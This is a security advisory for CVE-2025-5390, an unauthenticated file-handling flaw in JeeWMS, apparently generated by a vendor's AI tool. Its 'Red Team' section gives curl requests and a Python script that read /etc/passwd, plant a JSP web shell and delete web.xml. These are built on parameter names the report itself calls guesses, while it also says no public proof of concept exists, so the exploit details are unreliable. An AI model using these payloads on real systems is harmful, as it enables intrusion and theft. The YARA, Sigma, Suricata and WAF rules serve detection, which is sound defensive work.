CVE-2025-5390

Executive Summary

CVE-2025-5390 is a critical improper access control vulnerability in JeeWMS, an open-source Warehouse Management System. The flaw resides in the /systemController/filedeal.do endpoint, specifically within the filedeal function of the File Handler component. An unauthenticated attacker can exploit this vulnerability remotely to access, modify, or delete files without proper authorization, leading to potential data breaches, system compromise, or denial of service. The vendor has not released a patch, and the product does not use versioning, making affected and unaffected releases unavailable. No public proof-of-concept (PoC) or exploit code has been identified at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. JeeWMS is a Java-based web application typically deployed as a WAR file or Docker container. Organizations using JeeWMS should treat this as a critical supply chain risk due to the lack of a patch and the potential for file system compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: High (I:H) – Full file write/delete access.
• Availability Impact: High (A:H) – Potential for file deletion leading to DoS.

Threat Level: Critical. Immediate action is required to mitigate risk.

Deep Dive & Mechanics

The vulnerability exists in the filedeal function of the File Handler component, exposed via the /systemController/filedeal.do endpoint. The application fails to enforce proper access controls, allowing any unauthenticated user to invoke file operations such as read, write, delete, or rename. The endpoint likely accepts parameters like action, filename, path, or content to perform file operations.

Root Cause: The application does not validate the user's session or permissions before processing file operations. This is a classic case of missing authorization checks in a controller method.

Attack Scenario:

1. An attacker identifies the vulnerable endpoint via directory brute-forcing or Shodan dorking.
2. The attacker sends a crafted HTTP request to /systemController/filedeal.do with parameters to read sensitive files (e.g., /etc/passwd, application config files).
3. The server responds with the file contents, allowing the attacker to extract credentials, database connection strings, or other secrets.
4. The attacker can then escalate to write malicious files (e.g., a web shell) or delete critical system files.

Potential Impact:

• Full file system read/write access.
• Remote code execution via file upload (e.g., uploading a JSP web shell).
• Denial of service via deletion of critical files.
• Data exfiltration of sensitive business data.

Vulnerable vs. Patched Code

Since no patch is available, a code-level comparison is not possible. However, the vulnerable code pattern is likely similar to the following Java snippet:

Vulnerable Code (JeeWMS):

@RequestMapping("/systemController/filedeal.do")
public void filedeal(HttpServletRequest request, HttpServletResponse response) {
    String action = request.getParameter("action");
    String filename = request.getParameter("filename");
    // No authentication or authorization check
    if ("read".equals(action)) {
        // Read file and return content
    } else if ("write".equals(action)) {
        // Write content to file
    } else if ("delete".equals(action)) {
        // Delete file
    }
}

Patched Code (Hypothetical):

@RequestMapping("/systemController/filedeal.do")
public void filedeal(HttpServletRequest request, HttpServletResponse response) {
    // Authentication check
    if (request.getSession().getAttribute("user") == null) {
        response.sendError(HttpServletResponse.SC_UNAUTHORIZED);
        return;
    }
    // Authorization check
    if (!request.isUserInRole("ADMIN")) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    String action = request.getParameter("action");
    String filename = request.getParameter("filename");
    // Additional input validation and path traversal prevention
    if (filename.contains("..") || filename.startsWith("/")) {
        response.sendError(HttpServletResponse.SC_BAD_REQUEST);
        return;
    }
    // Process file operation
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of JeeWMS (version up to 20250504).
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Reconnaissance:

   • Use Shodan dork: title:JeeWMS to find vulnerable instances.
   • Verify the endpoint: GET /systemController/filedeal.do

2. File Read (Proof of Concept):

   curl -v "http://target:8080/systemController/filedeal.do?action=read&filename=/etc/passwd"
   

   Expected response: Contents of /etc/passwd.

3. File Write (Web Shell Upload):

   curl -v "http://target:8080/systemController/filedeal.do?action=write&filename=../webapps/ROOT/shell.jsp&content=<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>"
   

   Then access the shell:

   curl "http://target:8080/shell.jsp?cmd=id"
   

4. File Deletion (Denial of Service):

   curl -v "http://target:8080/systemController/filedeal.do?action=delete&filename=../webapps/ROOT/WEB-INF/web.xml"
   

Automation Script (Python):

import requests

target = "http://target:8080"
endpoint = "/systemController/filedeal.do"

# Read file
r = requests.get(f"{target}{endpoint}", params={"action": "read", "filename": "/etc/passwd"})
print(r.text)

# Write web shell
payload = '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } %>'
r = requests.get(f"{target}{endpoint}", params={"action": "write", "filename": "../webapps/ROOT/cmd.jsp", "content": payload})
print(r.status_code)

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to /systemController/filedeal.do for unusual parameters.
• Alert on requests with action=read, action=write, or action=delete from unauthenticated sources.
• Look for path traversal patterns (e.g., ../, %2e%2e%2f) in the filename parameter.

Defense:

• Immediate: Block access to /systemController/filedeal.do via Web Application Firewall (WAF) or reverse proxy rules.
• Network Segmentation: Ensure JeeWMS is not exposed to the internet.
• Authentication: Implement mandatory authentication for all file operations.
• Input Validation: Sanitize the filename parameter to prevent path traversal.
• Least Privilege: Run the application with minimal file system permissions.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/systemController/filedeal.do" "id:1001,phase:1,t:urlDecodeUni,deny,status:403,msg:'CVE-2025-5390 Exploit Attempt'"

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /systemController/filedeal.do with parameters action, filename, content.
• Unusual file paths in requests (e.g., /etc/passwd, ../webapps/ROOT/shell.jsp).
• Outbound connections from the JeeWMS server to unknown IPs (data exfiltration).

File System IOCs:

• Unexpected files in the web root (e.g., shell.jsp, cmd.jsp, backdoor.jsp).
• Modified or deleted configuration files (e.g., web.xml, application.properties).
• Presence of new user accounts or SSH keys.

Log IOCs:

• Access logs showing repeated requests to /systemController/filedeal.do from the same IP.
• Error logs indicating file read/write failures or path traversal attempts.

Detection Engineering

YARA Rule

rule CVE_2025_5390_JeeWMS_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-5390 in JeeWMS"
        author = "Valters IT"
        date = "2025-05-05"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5390"
    strings:
        $s1 = "/systemController/filedeal.do" ascii wide nocase
        $s2 = "action=read" ascii wide nocase
        $s3 = "action=write" ascii wide nocase
        $s4 = "action=delete" ascii wide nocase
        $s5 = "../" ascii wide
        $s6 = "..\\" ascii wide
        $s7 = "/etc/passwd" ascii wide nocase
        $s8 = "webapps/ROOT" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4) and any of ($s5, $s6, $s7, $s8)
}

Sigma Rule

title: CVE-2025-5390 JeeWMS File Handler Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable /systemController/filedeal.do endpoint in JeeWMS
author: Valters IT
date: 2025/05/05
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5390
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "/systemController/filedeal.do"
    keywords:
        - "action=read"
        - "action=write"
        - "action=delete"
        - "../"
        - "..\\"
    condition: selection and keywords
falsepositives:
    - Legitimate administrative actions (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5390 JeeWMS File Handler Exploitation Attempt"; flow:to_server; content:"/systemController/filedeal.do"; http_uri; content:"action="; http_uri; pcre:"/(read|write|delete)/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: Block access to /systemController/filedeal.do at the web server or reverse proxy level.
2. Apply WAF rules: Use the provided ModSecurity or Suricata rules to detect and block exploitation attempts.
3. Restrict network access: Ensure JeeWMS is not accessible from the internet. Use VPN or firewall rules to limit access to trusted IPs.

Long-Term Fixes:

1. Patch: Contact the vendor for a patch or consider migrating to an alternative WMS solution.
2. Code Hardening: Implement authentication and authorization checks for all file operations. Use a whitelist of allowed file paths.
3. Input Validation: Sanitize all user inputs to prevent path traversal and command injection.
4. Regular Audits: Conduct security audits and penetration testing on the application.

Workaround:

• If patching is not possible, consider deploying a reverse proxy (e.g., Nginx) with a rule to deny access to the vulnerable endpoint:

  location /systemController/filedeal.do {
      deny all;
      return 403;
  }
  

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.